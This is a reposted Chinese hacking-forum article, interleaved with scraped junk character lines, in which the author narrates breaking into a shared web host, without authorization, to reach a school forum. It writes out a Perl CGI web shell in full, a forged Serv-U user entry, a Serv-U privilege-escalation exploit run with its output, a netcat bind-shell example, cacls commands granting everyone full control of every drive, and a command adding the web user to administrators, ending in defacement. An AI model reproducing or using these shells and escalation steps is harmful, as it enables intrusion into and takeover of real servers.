中国网络渗透测试联盟
标题:
剑走偏锋——灵巧的旁注攻击
[打印本页]
作者:
admin
时间:
2012-9-15 14:11
标题:
剑走偏锋——灵巧的旁注攻击
剑走偏锋——灵巧的旁注攻击
1 U3 n/ r4 ?+ f+ G
本文作者:angel
/ H+ U) q5 r+ b9 D2 M
文章性质:原创
0 V/ f8 c: M1 P* W# d5 ^% j
发布日期:2004-11-09
$ O# j+ ~# ^, Y' k' l+ @
注意:
* `; }2 s; {* b% R4 X$ r
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
: T) P' g7 z: b+ ?% d( D
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
8 }2 Y, {: p" t- }- s2 m
/ G8 c" B3 N- s
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
+ a5 m" h& Z# ^$ W. q/ b; X6 e7 H
2 q& E* c5 w7 `: ]) ?# c
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
. O2 O: p l j. H9 m% L' B# \
# q* j M0 v3 D, d' ?* }# y
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
. N9 @$ [/ u) m$ A" K9 f
+ }" H7 Q! y# X- v, S: {1 g3 ~
一次看见了一个学校论坛(
http://www.school.com
),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
, g" _9 W- S' O( n
* }, Q. S5 Z2 c: W K% ~# {
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有
http://whois.webhosting.info
这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
8 `& U7 D% ?+ ?8 h! g
. A9 ?, q: H/ ]% C/ g& h1 x
没有目的的跳转目录着……
: m; d& J' s2 p! T, S
+ i1 b+ n) m. d4 H' F" U; l: ^6 I
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
- b0 n3 C$ w' w2 z
) }( r$ n t6 q6 S6 ^+ B3 @0 U/ J
结束了吗?不,我试着 FTP 一下:
4 g( M3 W8 T6 p
" C2 x! X8 b$ X7 P0 c; S
Microsoft Windows 2000 [Version 5.00.2195]
6 V+ a) u; O) H5 L* r
(C) 版权所有 1985-2000 Microsoft Corp.
) V3 D2 |2 K$ y( y/ o; L s
7 `- G) D. a2 F! c
C:\Documents and Settings\Administrator>ftp
www.school.com
( ~6 G% \9 [: h+ [3 M
Connected to www. school.com.
' W/ g# z( c9 [+ z4 q+ C
220 Welcome to FTP Server...
, g: W6 d* z: _# U
User (
www.bjtrq.com:
(none)):
9 @% H8 a* \$ i E% H; k
331 User name okay, need password.
2 D& s/ t/ f4 e1 u
Password:
) ~# a! V5 H+ A1 Z9 r; J/ x
530 Not logged in.
b* U& K( B) n
Login failed.
" [; E$ j2 R/ B
ftp> bye
% K! c4 c F* e. C% g
221 Goodbye!
8 w9 y+ \. g# b% y7 e9 h3 ]2 t9 I; |
% c( b' A- T7 ^) ~. \* v. R; Z9 j1 v
8 p6 _9 Q- W8 z+ p# V
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
8 ?& ]8 L' e! s& Q& F
" O, t; B9 @, D& x! Q
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
% f7 S6 V- z( |$ l
! \9 J+ ~4 t9 y- G7 _( D- j* a
Application Data
8 b: O% @) F7 E- N
Documents
& Y5 u* t0 t4 r! e# T3 V/ O
DRM
. a! N6 ?( X0 @+ \
Favorites
2 j. i8 U' [5 q* W+ D7 f, u% ]
Templates
5 I0 Y2 C4 X0 u2 b. N3 j
「开始」菜单
- }2 W* G# s! o, a: Q
桌面
( h2 [( G) D5 c! S: g
, `, Y0 w+ m6 A
) l- _7 h& b$ F
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
# G3 ~5 w4 O9 o3 W; v
7 K! r9 g) g a( |$ W& i
ActiveState ActivePerl 5.8
$ \/ p$ |0 [& S( P X& Z% |7 P
Administrative Tools
, e7 E3 V4 Z! V4 C/ ]
Deerfield.com
# p- G% D4 K* E( T `1 |6 ]
DTemp
' O$ X8 ^0 Q G _+ P
IPSentry
# ?! T- J9 g+ W: ]3 ^1 k
MBM 5
. G" M( x1 M" j { _, L( x
NetMeter
( {, U4 V6 u+ O# b4 j
Network ICE
) n$ h" a2 J$ A& _# C9 Q7 `" }. A
Persits Software AspEmail
, {) `* t+ z! S0 m5 C
Persits Software AspJpeg
) @4 j' ?7 H! q0 ^+ k& N& @6 P% t
Serv-U FTP Server
. q' I* @' R" j) W& H! L$ y
Symantec Client Security
0 A$ V \' }3 K2 A/ V) e
Windows 优化大师
7 E! }, k! X, ^5 e% Z
WinRAR
- g+ t' }0 Y( Q! p4 M' N# T
启动
% a1 e0 V, z7 j# J2 j4 S. c$ G
管理工具
+ \ _2 s% Z4 P. B% s
附件
) V* f5 }" \. s7 C- P
: i; X; Q D$ J9 i: I
" n' L) J/ u) D2 r& v/ a; t( R
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
: n) ?8 j; D3 }- v! F/ l
5 d: T. t9 g9 S* `
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
, [4 e' M% k8 O" L4 G" G* ^1 v
+ K O5 X+ ^# `1 R3 E6 t, F
User281=angel|1|0
% K' F$ g, ^- F
. ^5 ^" \) t7 [' t& `
) I4 y' }, {/ e. N+ I8 n4 G
然后加上
2 e' [+ c' x% m9 x, ^ g
( i6 U c6 A6 W9 t& Z) d1 t
[USER=angel|1]
( y" A$ t" x0 @9 r" [3 ^: U$ @& `
Password=ng98F85379EA68DBF97BAADCA99B69B805
4 b0 e! r/ y3 Z
HomeDir=D:\websites
' V* W; t) ~& b0 j# Q4 Y7 u3 C8 K; l
RelPaths=1
2 {$ x _( F, o0 _' E; x1 R9 w
TimeOut=600
2 F3 b0 j2 r! F2 }8 k+ K3 X
Maintenance=System
* L. j- Q5 A: a+ Q& v' E4 t9 v
Access1=D:\websites|RWAMELCDP
; W- J2 c3 I! O9 Q) l
SKEYValues=
8 m; s- L9 m/ u8 O2 a
) R$ `; k/ x7 ?6 m5 [7 M3 r$ O
$ v' P& U/ ~# w6 d9 K
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
6 u F% }% ]% U% K8 s4 `
8 ^2 G' u5 v( R E1 a
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
* q" e! }$ T: B* W
. M) b. H! V8 W- I5 j6 J
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
7 K! V* _4 R/ U9 }' y
3 e% X" h, Z/ k5 [
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
! y o0 Z8 {* f% C
2 B, O0 V, L1 Z
#!/usr/bin/perl
( ^( d6 H9 C( }4 ?3 a8 g0 }
binmode(STDOUT);
/ O) t! N# U1 Z; l/ a" ]& K4 }& F% L" L
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
( Y O5 O8 E O
$_ = $ENV{QUERY_STRING};
+ M. F$ K$ e/ _0 V- x
s/%20/ /ig;
6 p2 X: ]/ q) @* S% h% |
s/%2f/\//ig;
: g3 `5 K& t5 G$ j/ j: [& E8 H
$execthis = $_;
' B3 O9 ~7 b' s8 L' K. d, n4 W: ], C
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
. k1 M, h0 H" P X; F/ S6 s8 W: _
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
) w. ]2 u' c/ `" |2 A& b) i
system($execthis);
1 t0 p( H' P0 X; E& x
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
3 U9 A7 @0 d, F3 n t: ?& A
close(STDERR);
9 l7 ^3 w8 K3 c5 [3 o2 c
close(STDOUT);
, I; X' k4 |4 G- t. c% i
exit;
' y5 ?$ I$ z2 P/ @( U# S
- y$ u4 X4 \; T( r+ ?
; P' i" a, C0 C% f7 B* Z; ^1 \
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
' y& \; f2 \8 W/ y" L- a+ d
* p; J6 f9 A6 C
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
& \% h V8 s3 `6 C" x [+ u, k
0 d3 V2 S4 o6 h6 I& z* s
http://anyhost//cmd.pl?d:\user\bin\su.exe
; z+ R; \" i7 [5 q) ~9 i
- H9 }7 e1 Y. k+ F. L
; B5 ^- P8 L) F. D9 m# d- h8 v d
返回:
4 g/ W1 K2 ?$ s8 |: T' r( l
, |# Z! f% f/ X1 d: T7 t+ d
Serv-u >3.x Local Exploit by xiaolu
$ c1 u: g+ Y/ Z) b$ V
0 D2 @1 U/ D( w! ?/ S5 Y% }
USAGE: serv-u.exe "command"
% U5 b/ g6 @$ q7 Q+ V' i( j. u2 r5 `
; v% W+ P; I, c: T2 c0 l% A! o D
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
( [1 |& T" L7 z/ a( r1 U
7 o1 [- Z1 R- b
3 \+ N5 Q w! K
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
+ x# x2 p* E5 `% R7 h0 F
' a% |( z) e* S7 U: y. s! K
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
. X* u$ y: K0 b" V: @
! ]. G. `/ }; Z1 t" N
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
. i* [' @ V* M% y7 [
5 b6 N6 m! U- V2 w
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
& g, L0 f4 }/ e
$ Z/ Z; o' h" b+ \9 ?
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
4 M7 \) v1 y3 p1 M! Q
! }6 O( }- M/ r6 j! m2 T2 Q
+ R' Y/ S4 ]! U _& ~
返回下面的信息,就表示成功了!!!
: }4 V) N# _5 ]6 C" a( q6 L
8 \2 P4 P& t6 p+ u" O
Serv-u >3.x Local Exploit by xiaolu
0 V \7 M7 T# d& v0 a
* m6 B$ t2 f& {8 R9 c
<220 Serv-U FTP Server v5.2 for WinSock ready...
- [5 M. \, w' ?$ F6 w8 f
4 Z) e5 v& n# C: {4 e) J8 i
>USER LocalAdministrator
) t1 h) J. J4 S
- x7 x! z3 d( k/ S# ]0 j
<331 User name okay, need password.
6 g8 ~" C6 c& r8 F
" Z% \5 s. b W3 t! N- x
******************************************************
! u- H; O4 A V# `- q: T ?8 }3 P
0 H9 T! X& d1 P" c7 o3 p3 m; P' z
>PASS #l@$ak#.lk;0@P
# Y3 ^: \9 Z, ~3 t4 ~! P* Q+ `
: Q- K. ?) k+ T$ [1 Q; F
<230 User logged in, proceed.
8 C2 L9 _6 g7 V8 w9 N4 S+ D2 k: [
/ d: U' p, q) \6 P4 ?6 m, R' B
******************************************************
- P, r: N/ E# S# @3 v. Z! `" q& t$ z
; U) w8 \9 I8 e; p: | A$ F
>SITE MAINTENANCE
/ ?+ i+ H. A# h+ X4 ^# b
+ }% S! C3 ~' g; r0 i% z" r& W& U
******************************************************
( u: @- Y6 N: D- M1 n' l
. a1 J- x3 r1 ` P! U
[+] Creating New Domain...
j7 w( |8 [$ f7 X; X
2 i$ [4 b# p% U" R" R
<200-DomainID=2
" y! ?6 O8 ~3 |0 E- l# ^0 j( g6 w& ~6 P
W J G" Y1 E1 E. T6 J" K) q
<220 Domain settings saved
1 R' _) B) [( D' n; r5 `; x% I. P
: a* [9 _+ Y8 J' P& V# A5 e+ q$ d0 j
******************************************************
$ R) o5 _! W0 g
2 d1 r+ m, o1 i; ?; {
[+] Domain xl:2 Created
* V7 k& P* f0 i2 n3 p
) O0 U: N5 f+ D: i( ?8 ?
[+] Creating Evil User
% J6 N8 ^5 a& i3 m7 b2 o4 K
+ x8 t) L" S! [9 o9 _9 K7 a! U
<200-User=xl
/ m! \, v3 p6 b8 h3 \4 y
, g" ^5 }3 [! `+ e
200 User settings saved
8 f* A0 ~, i! B8 @% f$ a+ d/ ~3 i
. x2 k% g9 k7 u1 X
******************************************************
3 z8 }) P& w3 w( B: V# f
! T% P( l6 u- \4 f5 t( |7 c
[+] Now Exploiting...
- \! E3 i9 G2 @6 v# [
* ~) [$ Z7 B+ G( A; k
>USER xl
' Z6 S' y8 r7 N$ ? |
$ m2 ?( z# x; C4 ]$ m; U
<331 User name okay, need password.
) [ U! ]. v" F1 X
N/ H U* F9 b/ J- _
******************************************************
+ Z) E! b8 I' F" h
, E! \ z/ S+ g8 v1 C3 W# X2 P
>PASS 111111
; R' a8 ^: l" B% X
& A' C4 l1 g* @
<230 User logged in, proceed.
6 O- u! A0 n& J
n* e2 f( H K- A0 o3 P0 d
******************************************************
! ]. [9 X& v# _
4 g z5 N( y1 F# H2 A; h# [
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
# m) H: g/ o6 t8 w9 U( [
( C: u/ Q9 n7 w4 M/ p
<220 Domain deleted
4 V8 C3 k* n% N$ F( Z# D z2 v
% |% \ d6 N6 r( _! J8 n2 V
******************************************************
" i$ S& j. T$ s7 I7 Q. X9 }
7 t8 V$ z, ~. W* L' ]- R! ?8 P
$ @$ H+ Y" O# ~# o3 m
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
$ X9 P _1 `: V; c) A ?
; i- l/ k, ^0 T. H
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
: p3 N5 Y+ d/ [
: y* x: P$ K( a' w
6 f3 _! c7 l5 l* b, h7 D- N3 Q; w
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
# p& T4 d4 l0 P* q5 T9 |, J Q
. z4 W! ?, `. ?7 p! U8 Z4 B( s# |6 m* Y
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
9 L; m+ K. T" D$ z% _; ^; J% N1 O
, O: ^$ Y0 ~- I2 m- q
6 x5 ?% d G; c! S% |* ?
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2